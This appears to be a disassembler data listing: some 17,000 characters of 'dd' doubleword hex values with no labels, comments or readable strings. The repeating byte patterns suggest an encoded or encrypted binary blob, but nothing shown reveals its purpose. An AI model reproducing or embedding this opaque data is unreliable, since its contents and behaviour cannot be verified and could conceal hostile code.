		dd 0AE2D31C5h, 6CFD21E9h, 58D2472Dh, 0AE2D45D1h, 742D21E9h
		dd 0A8A04145h, 7474D32Dh, 20C688AEh, 0EDA8A8A6h, 2D2DA922h
		dd 742D472Dh, 0A8A0A674h, 742DD32Dh, 0AE2DA9A0h, 0D2D221E9h
		dd 742D7474h, 6CFD68A4h, 58D2472Dh, 0C5C545D1h,	0D22DD27Eh
		dd 0E9AE2558h, 4EC5D221h, 0C5742D04h, 0A42D0458h, 0A8A0D168h
		dd 0D23CD365h, 680674D2h, 6CFC7DD1h, 0A8C7A02Dh, 2D0458EDh
		dd 16D1062Dh, 0A8A063A8h, 0D2D2D37Fh, 0FC6E9AEh, 0A8A0A8A0h
		dd 0D2BFD37Fh, 2D2DAED2h, 582D50AEh, 7D3DEA2Ah,	58D26CA8h
		dd 2D2DC53Dh, 0AED5A474h, 2459D550h, 2D2D50ACh,	2D0550AEh
		dd 0C6DD742Dh, 4DDDEA2Ah, 68A62DC7h, 0AED1A4DDh, 2459D150h
		dd 0C52D50ACh, 742D0520h, 0D22D68A4h, 0AED92158h, 68A629EDh
		dd 58D228D9h, 28D9A625h, 7D2D2C23h, 6CFCF5C5h, 58D2472Dh
		dd 0D4C545D9h, 0D22DD27Ch, 0AE2D2558h, 742D21E9h, 0D2D9A64Bh
		dd 0AED56198h, 3E58D550h, 98D298D2h, 8545D361h,	0A8A06CFCh
		dd 0A8C5D37Dh, 0D22D58EDh, 2AC5B138h, 0A8A42D0Ah, 22D9D011h
		dd 7DD9A09Ah, 0AE2DCDC5h, 0A8A021E9h, 0D2D2D019h, 4BD97474h
		dd 0A44B2C28h, 0D2D0D968h, 22D92DD2h, 0D2D0A09Ah, 0D2D2C5D2h
		dd 6DD17474h, 6CFC68A4h, 0D22DA02Dh, 58C4B138h,	7C7CD2D2h
		dd 0A8A031F0h, 0AE2DD37Dh, 2B583950h, 68A468A6h, 5CC5D239h
		dd 0A4742D08h, 0A474D568h, 5B2DC168h
		dd 9E45C428h, 0F4C52D2Fh, 0A4742D09h, 68A6D168h, 5BC116D5h
		dd 0A4C1A63Fh, 0A4D5C568h, 0A4C5C168h, 592DD568h, 0D5C5D223h
		dd 0A4742D09h, 0FDC9C968h, 68A62D2Ah, 0AED9A4C9h, 2459D950h
		dd 5B2D50ACh, 0FDD9EA2Ah, 50AE2D2Ah, 2DCD2D31h,	68A62D2Ch
		dd 0AEDDA4CDh, 2459DD50h, 2DDD50ACh, 2D452D2Ch,	58D22D2Ch
		dd 0AED1A621h, 4BD129EDh, 0F16860A6h, 0C62DC74Dh, 0A4D9A62Bh
		dd 0A6D1F168h, 2D2CF160h, 2DF5AC2Dh, 2BC62D2Fh,	0D22D68A6h
		dd 28D12558h, 7D2D2C3Dh, 0AE2D90C5h, 0D2D121E9h, 68A6219Dh
		dd 68A622D1h, 0F5DA2225h, 0E9C5ED36h, 68A0D260h, 58D27DDDh
		dd 0AE2DC521h, 0AED121E9h, 2A58D150h, 6D21ED1Eh, 0A021A46Dh
		dd 58D2D968h, 0AE2DC521h, 0AED121E9h, 2A58D150h, 22D5ED1Eh
		dd 0A6D52D93h, 51D9DD68h, 65D9A62Ah, 6D2568A4h,	68A068A4h
		dd 58D27DDDh, 0AE2DC521h, 0AED121E9h, 2958D150h, 6D21ED1Eh
		dd 0A621A46Dh, 1D5D568h, 68A66CFFh, 0EDA82221h,	0AD252F58h
		dd 68A02D0Dh, 2D477DC1h, 2F458945h, 6C5D2D2Dh, 0EADDA42Dh
		dd 2D47D168h, 58D22D47h, 68A4D2C1h, 6C5DD2DDh, 2947AE2Dh
		dd 0BBC558D2h, 2D2DD21Ch, 58D2A545h, 0AEC5C5C5h, 0AEC522EDh
		dd 38D224EDh, 49455C29h, 58D26CFFh, 7474C525h, 58D25545h
		dd 0AED5C525h, 2859D550h, 0A0D92C47h, 68A4D968h, 7DD9AEC9h
		dd 58D26145h, 0E9AEC525h, 58D24521h, 2D0CC525h,	0AECD742Dh
		dd 2859CD50h, 29D92C47h, 22D9A52Ch, 0A0746893h,	0A8A6ADA8h
		dd 0A8A0D1F9h, 0A8A7D1F5h, 0A8A0D35Dh, 742DD3ADh, 472DA474h
		dd 98D2472Fh, 2D2DD111h, 3D2DA474h, 3D2D5E2Dh, 98D2A62Dh
		dd 0AE2DD111h, 2D2D21E9h, 2D2DA474h, 2D2EC474h,	0D2D2D22Dh
		dd 2D2D39C5h, 98D2E9AEh, 0D2D2D111h, 0D2D2A82Eh, 98D2A8A4h
		dd 4 dup(98D2D165h), 0D2D7D165h, 3F592DD2h, 0D2D7A8A6h
		dd 0D2D716D2h, 3F592DD2h, 0D2D7A8A6h, 0A92216D2h, 0AE2D2CA1h
		dd 3F590990h, 0A922A8A6h, 0AE2D2C49h, 3F590990h, 0A8A7A8A6h
		dd 0D2D7D611h, 98D2C5D2h, 0AE2DD715h, 98D221E9h, 0AE2DD705h
		dd 98D221E9h, 98D2D719h, 0D22DD701h, 0A8A0B138h, 6CFED791h
		dd 0D2D2A02Dh, 2D2D12C5h, 0D22DA8A6h, 98D2B138h, 0C945D351h
		dd 0A8A06CFFh, 0D239D1F5h, 742DF998h, 2D4768A4h, 98C558D2h
		dd 3FC5D26Bh, 0C1AC2D32h, 7B2D22D1h, 2D31457Ah,	0D2DBAE2Dh
		dd 3F592DD2h, 0D2DBA8A6h, 2D47A6D2h, 0A8A42D47h, 1050DF21h
		dd 0D2D998D2h, 0D2DDC5D2h, 0D2DB2DD2h, 0A8A62DD2h, 0AE2DDD1Dh
		dd 68EBDD48h, 27582CD1h, 0C5AD2E45h, 0A62D3370h, 2D472DA8h
		dd 0D2DDA8A6h, 98D2A6D2h, 98D2DD0Dh, 0A62DDD0Dh, 7E5009A8h
		dd 0D2D998D2h, 48ADC5D2h, 0D2DB2DD1h, 0A8A62DD2h, 0A62DDD01h
		dd 31453DA8h, 0A8A06CFBh, 0D2A9D939h, 0C5ADAED2h, 472D3048h
		dd 0A4DDA02Dh, 0C1AE2DA8h, 6CFBA03Dh, 0E9AEA02Dh, 0D2DFAE35h
		dd 88AE2DD2h, 90AEDF25h, 2758DB2Dh, 0C5AD2E45h,	0A62D31EEh
		dd 0A8A02DA8h, 0A8A6D8DDh, 2 dup(98D2DD35h), 0A62DDD35h
		dd 0D2DF31A8h, 0C5AD2DD2h, 472D317Dh, 98D2A02Dh, 88AEC2D1h
		dd 90AEDCC1h, 2758DB2Dh, 0C5AD2E45h, 0A62D36CDh, 0A8A02DA8h
		dd 0A8A6DCD5h, 2 dup(98D2DD3Dh), 0C5ADDD3Dh, 472D364Bh
		dd 98D2A02Dh, 0A8A0C2D5h, 0E9AED0DDh, 88AEAE21h, 90AEDC31h
		dd 2758DB2Dh, 0C5AD2E45h, 0A62D37DEh, 98D2D9A8h, 0A8A6DC31h
		dd 2 dup(98D2DD25h), 742DDD25h,	23C6A0A6h, 0D2DCA8A6h
		dd 0EDA86DD2h, 29283D58h, 0A8A6D2DBh, 0D2DCDC39h, 0A8A045D2h
		dd 0E9AEDB29h, 6CF24521h, 3D45A02Dh, 0A8A06CF2h, 2545DF3Dh
		dd 0A8A06CFBh, 0A8A0D895h, 0A8A0D939h, 6CF2D895h, 0D145A02Dh
		dd 0A8A06CA9h, 742DDB29h, 0D145A874h, 0A8A06CA9h, 0D145DB29h
		dd 0A8A06CA9h, 742DDB29h, 0A62DAD74h, 0D22DC1A8h, 0A8A0B138h
		dd 0A8A0DC0Dh, 0A8A0D939h, 23C6D895h, 2D2DA8A6h, 0D2DCA8A6h
		dd 0EDA82ED2h, 29283058h, 0EDA8D2DBh, 0D5AE1158h, 0A8A6596Dh
		dd 0D5AEDC35h, 0D5AE5903h, 0A8A65872h, 0A8A0DC35h, 0D2DCDB2Bh
		dd 0D2DC6DD2h, 794522D2h, 0A8A06CF8h, 0A8A0DD11h, 742DDD11h
		dd 452DAD74h, 0A8A6F879h, 0A8A6DC21h, 7945DC21h, 0A8A06CF8h
		dd 742DDD8Dh, 0A8A0A874h, 742DDD8Dh, 452DAD74h,	0A8A6F879h
		dd 742DDC21h, 69A0A674h, 0D22D242Bh, 9322B138h,	0A8A084A8h
		dd 0A8A0D939h, 0A8A0D895h, 742DD0DDh, 0A8A0A874h, 2D3ED0DDh
		dd 0A8A0742Dh, 742DD0DDh, 472DAD74h, 0A8A0A025h, 742DDC0Dh
		dd 0A8A0A874h, 742DDC0Dh, 0D22DA874h, 9322B138h, 0A8A084A8h
		dd 2D2DD939h, 0A8A03D45h, 7945DC0Dh, 0A8A06CF8h, 742DDB29h
		dd 7945A874h, 0A8A06CF8h, 742DDB29h, 79456D74h,	0A8A06CF8h
		dd 742DDB29h, 0A62DAD74h, 0D22DC1A8h, 0A8A0B138h, 0A8A0DC0Dh
		dd 472DD939h, 0E9AEA02Dh, 2D2F4521h, 0A8A0472Dh, 0E9AEDB29h
		dd 2FD1C421h, 85C490AEh, 2CD1D2DAh, 0D2DF90AEh,	5FC42DD2h
		dd 0D22DD2DBh, 98D2B138h, 2945D0C1h, 0A8A06CF9h, 60AED939h
		dd 0D2DBD2D1h, 0A8A62DD2h, 582DDD05h, 10C5C62Fh, 0A4742D3Dh
		dd 0AED1D168h, 2D4729EDh, 0AED158D2h, 68A62D15h, 60A6A6D1h
		dd 88AEA6D1h, 88AED6DDh, 88AED6D9h, 88AED6D5h, 88AED6D1h
		dd 20C6D769h, 0D2D2A8A6h, 0D2D2A46Dh, 222DD2D2h, 2D2DAEAEh
		dd 0D2D22D45h, 2A4738D2h, 0A8A0A145h, 0AE2DD12Dh, 0A8A021E9h
		dd 7474D12Dh, 0A8A0EDA8h, 742DD12Dh, 2D47A874h,	2F450145h
		dd 6C5D2D2Dh, 6C5DA82Dh, 0A8A0AE2Dh, 2D47D76Dh,	2C453945h
		dd 6C5D2D2Dh, 6C5DA82Dh, 1A58222Dh, 35890AEh, 85890AEh
		dd 315890AEh, 3E5890AEh, 2D2D98D2h, 215990AEh, 0D2D7A8EAh
		dd 2D6C6DD2h, 2D6C27C6h, 215990AEh, 2D6CA8EAh, 2D6C27C6h
		dd 215990AEh, 0D2D7A8EAh, 2D6C6DD2h, 2D6C27C6h,	215990AEh
		dd 2D6CA8EAh, 2D6C27C6h, 215990AEh, 0D2D7A8EAh,	2D6C6DD2h
		dd 2D6C27C6h, 0D2D798D2h, 6CFBD2D2h, 742DA02Dh,	6CFA68A4h
		dd 58D2472Dh, 45C545D1h, 2AC6D21Ah, 0A6D168A6h,	11AED168h
		dd 0FCD12DACh, 19D2A6CDh, 58D2D2ACh, 51AEC521h,	0D5929ACh
		dd 59D268A6h, 2C4729ACh, 2D2DC475h, 5F2C50AEh, 9945D231h
		dd 63C56CFAh, 5F2FD2D2h, 3D45D231h, 1C56CF5h, 6CF5D2D2h
		dd 0E545C52Dh, 0C5C56CF5h, 0D22DD2D3h, 6C5F2558h, 0D245A42Dh
		dd 0A8A02D2Dh, 0A8A0C081h, 0A8A4C081h, 0D2D2C381h, 6C5F582Dh
		dd 0A8A0D22Dh, 0AE2DC295h, 0A8A621E9h, 0A8A0C381h, 6C5FC295h
		dd 6C5FAE2Dh, 472DD22Dh, 0A8A0472Dh, 2D47C4CDh,	0D2B52947h
		dd 0D5AE9998h, 6C5F58D2h, 0A02DD22Dh, 0B945FDA8h, 0A8A06CF7h
		dd 0A8A4C6D9h, 742DC4C5h, 0ED1EA44Bh, 4B7490A0h, 545A8A4h
		dd 0A8A02D3Dh, 0A8A4C2FDh, 2D29C579h, 2858AE2Dh, 0A8A624C4h
		dd 2209C4C9h, 2D259B22h, 0D27D742Dh, 9A221538h,	0D27D22EDh
		dd 9A221538h, 2FB422EDh, 20C62D2Dh, 2ED1A8A6h, 0A8A665A8h
		dd 2ED1CB65h, 68A665A8h, 66C62ED1h, 0A8A668A6h,	2858C579h
		dd 0A8A603C4h, 0A07DC4C9h, 0A8A661A8h, 0A07DC4C9h, 0D27D7DA8h
		dd 9A221538h, 0AE2D7DEDh, 0A80635E9h, 0A8A0CA61h, 0D22DC6D9h
		dd 0A8A6B138h, 2D2DC4C1h, 0A806AD95h, 68A6CA61h, 0A8A02ED1h
		dd 0D22DC6D9h, 0A8A6B138h, 0A8A4C4C1h, 6C5FC57Dh, 0C52DD22Dh
		dd 742D29F7h, 2D2D68A4h, 2ED5AE2Dh, 68A62D2Dh, 68A6A6D1h
		dd 0C6D9A43Dh, 3DD9EA2Ah, 2D456CF2h, 58D22D2Fh,	0AED1A6D9h
		dd 0D22D25EDh, 28D12558h, 7D2D2F25h, 0D2D15CC5h, 68A6295Dh
		dd 0F5DA2225h
		dd 0B5C5ED36h, 58D2D203h, 0AED1C525h, 2359D150h, 58D258D2h
		dd 742DC525h, 0AED1A474h, 6D59D150h, 58D22F47h,	0AE2DC5D1h
		dd 2D4721E9h, 742D58D2h, 0C6D568A6h, 38D21E2Fh,	0EDA85D81h
		dd 60C52859h, 58D2D2D2h, 9745C525h, 8C496C40h, 7D2D2D2Dh
		dd 0C52DA449h, 7E2D2E8Bh, 48AE7A7Bh, 18D22DD1h,	9A45F625h
		dd 18D22D2Eh, 2D47F629h, 6CF618D2h, 0A8A0452Dh,	0AE2DC389h
		dd 20C60DE9h, 0D22DA8A6h, 0A8A0B138h, 2D47C389h, 0A8A438D2h
		dd 0D2C0C03Dh, 0EDA82DD2h, 0FE3F2F58h, 2D45D2D3h, 54C56CF6h
		dd 2D45D2B1h, 0DAC56CF6h, 2D45D2AEh, 41C56CF6h,	38D2D2A9h
		dd 0D27D5DA1h, 0EDA8BD38h, 6CF23B58h, 0CDC5452Dh, 74742D2Ch
		dd 2D2DADC4h, 0A474A8A0h, 3E5821A8h, 21453D45h,	0B2C56CC1h
		dd 74742D2Ch, 5DC56FC6h, 74742D2Ch, 74742145h, 0D22D2FC6h
		dd 2D474938h, 4EC52D47h, 0D2D2D244h, 88AE88AEh,	68EAC2C9h
		dd 2D2D2CD1h, 0D2D24D45h, 2459C57Dh, 0D25390AEh, 6CF374D2h
		dd 6CEE452Dh, 3545D22Dh, 58D26CEEh, 0BD45C5C1h,	0A2C56CF6h
		dd 2D47D244h, 2D2DFCC5h, 8D260A6h, 8D25C95h, 8D25C99h
		dd 8D25C9Dh, 8D25C81h, 8D25C85h, 8D25C89h, 8D25C8Dh, 8D25CB1h
		dd 8D25CB5h, 8D25CB9h, 8D25CBDh, 0E1E15CA1h, 8D208D2h
		dd 8D25CA9h, 8D25CADh, 8D25C51h, 8D25C55h, 0E1E15C59h
		dd 2D3DE1E1h, 2D3DA02Dh, 2D3D002Dh, 2D3DA82Dh, 6DA65E2Dh
		dd 8D27D29h, 8D25C41h, 0E1E15C45h, 2639E1E1h, 61A658EDh
		dd 1E213D09h, 79A6DAFFh, 0FC252109h, 26F5FCC4h,	5B2558E4h
		dd 363D0625h, 36250979h, 26350979h, 61A658EDh, 1E3D3909h
		dd 0FC21DAFFh, 26F5FCC4h, 0E5A658E4h, 255A69A6h, 5B212A5Fh
		dd 0D22D632Ch, 8D24908h, 0E1E15C4Dh, 0F5DAE1E1h, 69A4F7DAh
		dd 69A63909h, 0F5DA3109h, 69A4F7DAh, 0ED263109h, 0DA3D3558h
		dd 0FC3DA6DCh, 26F5FCC6h, 0CBDA58F6h, 5B3DFC2Eh, 0D22D632Ch
		dd 8D27108h, 8D25C75h, 8D25C79h, 8D25C7Dh, 8D25C61h, 8D25C65h
		dd 8D25C69h, 8D25C6Dh, 8D25C11h, 8D25C15h, 8D25C19h, 8D25C1Dh
		dd 8D25C05h, 0E1E15C09h, 4921D247h, 2D2D08A4h, 0E1E1A42Dh
		dd 59D2E1E1h, 0EF2D2509h, 78A02D29h, 0D27D7F21h, 7B21A83Ch
		dd 25A658D2h, 7CD2D27Dh, 38D2A825h, 0EDA85CE5h,	29C52959h
		dd 0EFE42D2Dh, 23C52D21h, 68A02D2Dh, 0C57D45DDh, 0A62D2DE2h
		dd 0EA210969h, 0EDA8992Bh, 20596BA4h, 0D27D51ADh, 2D2D297Ch
		dd 2B5969DBh, 0EDA825A6h, 0D27D2B59h, 0EE73257Ch, 8D208D2h
		dd 8D25C39h, 0A67B5C35h, 2D2DC5DCh, 8D269DBh, 0E1E15C0Dh
		dd 0D2DBA0A0h, 0D2C6C5D2h, 0CC4EED2h, 2D2DD2D3h, 2 dup(2D2D2D2Dh)
		dd 2F452D2Dh, 6CAD2D2Dh, 0DDA8A02Dh, 0B190D2D3h, 0D3D9A8D0h
		dd 21D0B590h, 0D1502D2Ch, 0D3D9A82Dh, 6DD3D990h, 2EC5AED2h
		dd 2D2D602Dh, 0A9D06190h, 69882D2Dh, 0D061A8D0h, 45D07DA0h
		dd 0A62D2C29h, 0A02964A0h, 90D07DA8h, 6D88D011h, 0A0A62DD0h
		dd 0A8A62964h, 2C69D07Dh, 0D2D13525h, 0A8D2D11Dh, 2C69D07Dh
		dd 0D015A829h, 0A82D2C09h, 0DECD065h, 160DC416h, 2D2D2DEAh
		dd 0DA8C62Dh, 3A58EDD1h, 0A9D2D105h, 27217028h,	0D109A016h
		dd 0A0AE2721h, 2721D109h, 0D10590AEh, 485D59EDh, 2C692DD8h
		dd 0A8A02D21h, 2DC6D868h, 2964A0A6h, 2D2955A0h,	0B8D2D06Dh
		dd 0D079D06Dh, 2D4528D2h, 5DF22910h, 2F2D2D6Ch,	7F10C52Dh
		dd 1DD32DA8h, 472D2D2Ah, 2D472D2Dh, 0D0D2D5C1h,	0B5A8D2D2h
		dd 0D2D1F1D1h, 88D2D1CDh, 0F9A8D5F9h, 5827D5D5h, 0AEC62D2Dh
		dd 0D1A821E9h, 0D2D5C1D0h, 6C2CB5ADh, 2B29D22Dh, 2D6C5D2Dh
		dd 90A02D6Ch, 2C61D0D5h, 0D2D70D2Dh, 0A8D2D73Dh, 0D731D721h
		dd 0D2D73DD2h, 252D2C66h, 0D72DD2D7h, 0D709A8D2h, 2DA02D6Ch
		dd 0D731AE2Dh, 0DB25A8D2h, 0D5DB2590h, 28A95871h, 0D2DA316Fh
		dd 60742D2Dh, 29902D2Ch, 0DA3990DBh, 0D52D2D2Fh, 0C590D2D8h
		dd 0D2DA39D4h, 312D2D04h, 2D2CD2DAh, 0D2DA392Dh, 0A8D8D990h
		dd 2D6CDA0Dh, 2D2955A0h, 2DD8D5A8h, 0A8062D29h,	0D2D8C921h
		dd 0A8D2D8C9h, 0D4C5DA0Dh, 2D2C6BD2h, 2DD2DB29h, 0D1682D2Dh
		dd 2D2F02A6h, 4258D22Dh, 0D1682D2Dh, 21E9AEAEh,	0D21E9AEh
		dd 2D6C2D29h, 0A07D7445h, 2FD2D6C1h, 0D6DD2D2Dh, 0D2D6C1D2h
		dd 6E2D2D06h, 0C9902D2Ch, 60102DD6h, 0C1EDA874h, 2D2CD2D6h
		dd 0D22D6C2Dh, 0C52D2C6Fh, 0D6CDD2D6h, 2D2529D2h, 886CF23Dh
		dd 0E9AED415h, 0D7E1A821h, 0A8E9AE2Dh, 6D90D46Dh, 2D2C36D4h
		dd 0A82217D5h, 59EDD46Dh, 5802D534h, 0A9062889h, 28A9E528h
		dd 0EA7474E5h, 0D5511DD5h, 0DA05214h, 0E528A9D5h, 6CC42D2Dh
		dd 7474A02Dh, 0C47474EAh, 74D41590h, 6DA8EA74h,	0D46D90D4h
		dd 0D52D2D87h, 2889226Dh, 0D53190E5h, 74E428A9h, 5590A474h
		dd 0D2D4E9D0h, 88A02D0Dh, 1990D411h, 0D41990D4h, 0E9D075A8h
		dd 5990A431h, 2159EDD0h, 0EDD077A8h, 6CA92159h,	0D2D5392Dh
		dd 88D2D539h, 0DAD1D521h, 0D7E1A8D2h, 0A82D6C5Dh, 58EDD077h
		dd 4459ED26h, 0A8472D6Ch, 59EDD047h, 0AE2D2D28h, 157DDD68h
		dd 0D22D2D2Ch, 58D22D58h, 397D29EDh, 35102D2Ch,	2D2D99F2h
		dd 8D2D2DB1h, 2D852D2Dh, 2D2D812Dh, 9D2D2D89h, 0A02D2D2Dh
		dd 472D6CA8h, 68AE65C1h, 2DC7AE3Dh, 0A6216D2Dh,	0AE2F592Dh
		dd 0C56821E9h, 2D2D3D46h, 60C560A6h, 0C960A6C5h, 0D5AE2DA4h
		dd 0BD2D2CBAh, 522D2D2Dh, 0D6D9A859h, 0F87D29EDh, 2F6D2D2Dh
		dd 2D3F057Dh, 742C8045h, 2D2C2C47h, 2D2D392Dh, 6CC28528h
		dd 0C365A02Dh, 2D2D7AD2h, 68AED168h, 0D1686D25h, 0DAD168ECh
		dd 502ED150h, 2DEF29D1h, 2D2DEF2Dh, 48A035C1h, 59102DC5h
		dd 0EEE4EDCEh, 0C1C535C1h, 7474450Dh, 2558D2A0h, 2D2D2DA9h
		dd 0AD682D2Dh, 2D2DA97Dh, 682D2D2Dh, 2DA57DADh,	2D2D2D2Dh
		dd 2D2D2DA5h, 29212D2Dh, 0D6D1A82Dh, 6DD6D9A8h,	98D2A431h
		dd 1E11C1D5h, 502168A6h, 0F9682CD5h, 60A62DA6h,	85CDEC2Dh
		dd 25682D2Dh, 0D22560A6h, 6822EDA8h, 2560A625h,	0A62558A6h
		dd 607B5829h, 2558A625h, 0D2D278A6h, 0A8D22560h, 2568D245h
		dd 0A62568A6h, 58A62560h, 5829A625h, 0A625602Fh, 71A62558h
		dd 2168D2D2h, 0D241A81Eh, 60A62568h, 2DC8D225h,	0A625682Dh
		dd 58A62560h, 5829A625h, 0A625607Bh, 60D2D278h,	71A8D225h
		dd 73D2E5D2h, 6868A474h, 2168A621h, 0A62160A6h,	6D68A629h
		dd 68161E29h, 65256D25h, 2968A625h, 35C12FC6h, 0D2D25A7Bh
		dd 606DD168h, 0EDA8D225h, 0C629C659h, 0C1AE2560h, 6CEC4701h
		dd 0A62D2DA4h, 69D2D168h, 39682D25h, 0A46CECB4h, 9024C6D1h
		dd 0DAE9DAE9h, 0DAE590D2h, 0A8DAF588h, 0A8A9DAEDh, 0DAF5A8F1h
		dd 0DCD2DAE9h, 2D2DD2D2h, 0D2D2DA2Dh, 0A9DA91A8h, 91A0F1A8h
		dd 0CDA0A1DAh, 1EDA91A8h, 0DAF9A8EDh, 0C6D168D2h, 0D2E2168h
		dd 21E9A62Dh, 2D3D3570h, 60C2C1A8h, 0D1A8A425h,	0C2C5A8DAh
		dd 0A8D1A8A9h, 2560C2C5h, 2D3E75A4h, 0E121E9AEh, 0C1E1D2C1h
		dd 21E9AED2h, 2DC35EA8h, 0C1E12DA6h, 0A8A6C1D2h, 88A8A63Dh
		dd 2B72C1E5h, 0C185902Dh, 372D2C17h, 2D2D2D2Fh,	742D2D74h
		dd 86457DEDh, 2D862D2Dh, 2D2C3D2Dh, 0ED742D2Dh,	2D85457Dh
		dd 2D2D852Dh, 0AE31E9AEh, 107421E9h, 2D2C23FDh,	2DD2D2C1h
		dd 81A82D2Dh, 7D39EDC1h, 0A8A8DF68h, 25EDC181h,	0D2C1E17Dh
		dd 0D4D2D2D8h, 0D168D2D2h, 60A67428h, 212D2F9Ch
		dd 2F982D2Ch, 2F9CAD2Dh, 502D2F9Ch, 472D2D21h, 58D22D2Dh
		dd 0CE2D2C26h, 6CCE2D6Ch, 2D6CCE2Dh, 0CE2D2C11h, 2D2D2D6Ch
		dd 2DC1502Dh, 0A6A02D2Dh, 0AE2DD168h, 0A4D560EDh, 2D48AE29h
		dd 0A62D2D47h, 0A6DD7860h, 6CA4BB39h, 2C69A62Dh, 2D2C2421h
		dd 6860A62Dh, 6CCE7DF5h, 2D6C5D2Dh, 2DD2D3FDh, 0E9B860A6h
		dd 0A6292CD3h, 2CD3E5B8h, 6CCE8D25h, 5159ED2Dh,	69A8A02Dh
		dd 0C550212Ch, 2CC5502Dh, 785871D5h, 0D3FDA4C5h, 1E742DD2h
		dd 2D2D2C9Dh, 0E9AE58D2h, 0D3799021h, 0A0D379A8h, 0A62DD37Dh
		dd 0A02964A0h, 556CA629h, 2C2B2D29h, 0D2D3752Dh, 2D2D2D1Fh
		dd 0D22D54C5h, 21E9AE58h, 0C1472D6Ch, 0A474AE0Dh, 2D2D2C68h
		dd 2D96C474h, 0AE2DD5AEh, 2EC968D5h, 742EC968h,	6C5D58D2h
		dd 2D6C5D2Dh, 502D6C5Dh, 0C62C2BD1h, 3DD150F3h,	6D2D2909h
		dd 58EDAE29h, 0C6AD2D21h, 2121E9AEh, 0DDA858D2h, 0D0DD90D0h
		dd 60D0DDA8h, 2C69A021h, 0C528892Ch, 687DD568h,	0D1507DD1h
		dd 2D2DE22Fh, 2C457D2Dh, 2D2C742Dh, 2D2C2C2Dh, 21D2D6CDh
		dd 0A02D2D2Fh, 2D6C5DA8h, 90A02D6Ch, 2C2DD3D5h,	2D2F212Dh
		dd 90A8A02Dh, 2C0DD3D5h, 0A8A02D2Dh, 2D2D2C25h,	21C1A8A0h
		dd 2DD148A6h, 2D6DD168h, 0D168D5AEh, 2D2C25A6h,	68A8A02Dh
		dd 5C1ADD1h, 2D6C5D47h,	6C2D6C5Dh, 2E45472Dh, 0A8A02D2Dh
		dd 0A5D0CDA8h, 0A6A56CA6h, 6CA6A56Ch, 0AC6CA6A5h, 0A6A52D2Dh
		dd 6CA6A16Ch, 0A16CA6A5h, 21E96CA6h, 6CA6A5A6h,	0B86CA6A1h
		dd 0A6A52D2Dh, 742D2D6Ch, 0A56CA6A5h, 6C5D6CA6h, 2D6C5D2Dh
		dd 212D6C5Dh, 0A02D2D2Fh, 0D3D5A8A8h, 0A56CA6A5h, 0A6A56CA6h
		dd 6CA6A56Ch, 982D2DBEh, 0A6A52D2Dh, 6CA6A16Ch,	0A52D2DBEh
		dd 0A6A16CA6h, 0A621E96Ch, 0A16CA6A5h, 0D2D26CA6h, 2D3BDD74h
		dd 2FD2D550h, 2D2D2D2Dh, 0D59EDC6h, 2D2DD148h, 0D2F3472Dh
		dd 2D2D2DD2h, 90D2D2F0h, 6DA8D311h, 2D2955D3h, 0A6D31990h
		dd 15A019A8h, 69A8A0D3h, 0ED7D29EDh, 0A02D7D27h, 7D37EDA8h
		dd 0DED2D319h, 0D3152D2Dh, 0AED968D2h, 6C58D22Dh, 2DDFA62Dh
		dd 2E25682Dh, 6893222Dh, 21C16DD5h, 0A42160AEh,	0A62D2D89h
		dd 0D568D568h, 2DD948A6h, 2968A66Fh, 35687DACh,	0A62550E4h
		dd 48D221C1h, 0A62D2DD5h, 0EC162460h, 2D2E2568h, 0AE2460A6h
		dd 0D5AE2DC4h, 682E2568h, 25682ED1h, 0A621C122h, 242E2568h
		dd 0A82D25A5h, 2D3D50EDh, 2D2DD550h, 0D550D5AEh, 0D5AE2D2Dh
		dd 0D2E2568h, 2160A62Dh, 0EDA82DA0h, 0D625A524h, 2D2DD2D2h
		dd 0D5AE2D2Dh, 0A8222168h, 0AE2D2D2Dh, 222168D5h, 502D2DABh
		dd 0D1682D35h, 2D2D2DDAh, 0E9A069C1h, 39E9A839h, 222D2DA8h
		dd 0E92D2D2Dh, 0FD68A439h, 0A439E97Dh, 0E97DF568h, 0CD68A439h
		dd 0A439E97Dh, 0C17DE568h, 39E9A00Dh, 2D2D2DA8h, 687DD568h
		dd 0DD687DD9h, 7DC1687Dh, 68AE21C1h, 0A82D6DD5h, 0A42168EDh
		dd 6822D168h, 0D96822D9h, 22D168ADh, 0C4C50DC1h, 0C5502D2Dh
		dd 6AC5507Dh, 501AC550h, 0C5500BC5h, 60A4D533h,	2D2D2A7Dh
		dd 0F5A858D2h, 0D5C1A8D5h, 352D2C7Ch, 2C7CD2D4h, 0FF1EEF2Dh
		dd 7CD2D7F1h, 1EEF2D2Ch, 0FF1EEFFFh, 0A8D7CDA8h, 0D5DDD7D9h
		dd 0D2D290D2h, 3988ADD1h, 21E9D2D4h, 0D2D599D2h, 9DD2D7F1h
		dd 0D435D2D5h, 0D2D43DD2h, 0C1D2D5E5h, 0D7C5D2D7h, 0D2D7C9D2h
		dd 59D2D5DDh, 452DD2D6h, 59C52D2Dh, 0ED2DD150h,	2D6D7D29h
		dd 0D201C1C5h, 0C5D2D2E5h, 35C12D2Eh, 2ED16845h, 0C12D2915h
		dd 0A2E92D2Ch, 6CA2E56Ch, 6CD6C5A8h, 0D2D2452Dh, 0D1C188AEh
		dd 3EA43DE9h, 0D6F92D2Dh, 2D2DCDD2h, 0D2D2D1DDh, 275174D2h
		dd 58D22D2Dh, 0FD2D2C7Ch, 2C7CD2DAh, 0FF1EEF2Dh, 7CD2DACDh
		dd 1EEF2D2Ch, 0FF1EEFFFh, 6CA82CCDh, 2D6CA62Dh,	275E2DA6h
		dd 0A190AED1h, 0DAFDD2D8h, 0D8A588D2h, 50C3C52Dh, 29ED2DD1h
		dd 8C09C17Dh, 0F02FDD50h, 0C9682D2Dh, 0D2D25629h, 2D2D28F1h
		dd 2D6C58D2h, 0D79489A0h, 0A887864Bh, 0D6F9D6F9h, 0D6DD88D2h
		dd 0A8D2D6F9h, 0F1A8D6F1h, 0D2D31AD6h, 1A02D6Ch, 2D28D2D7h
		dd 7BC52D2Dh, 0ED2DD150h, 35C17D29h, 2DD550A0h,	50A035C1h
		dd 35C12DD5h, 2DD550A0h, 82D2DF4h, 0CD48CEFDh, 58D2C92Dh
		dd 0E9C6F168h, 0D160EE21h, 0A42560D2h, 5D7DD568h, 2D2C2D6Ch
		dd 6CF23D2Dh, 602DD148h, 21E9D2D1h, 0D2D160EEh,	6893C62Dh
		dd 0D96844D5h, 0A4D960A6h, 0B968A625h, 0D22D2D2Ch, 0D3419058h
		dd 0B42D2CB1h, 6C5D2D2Dh, 0D345902Dh, 2D2D2C85h, 2D2D58D2h
		dd 3DD1502Dh, 506AC52Dh, 15C12DD1h, 0C52D6CD2h,	682D2DE3h
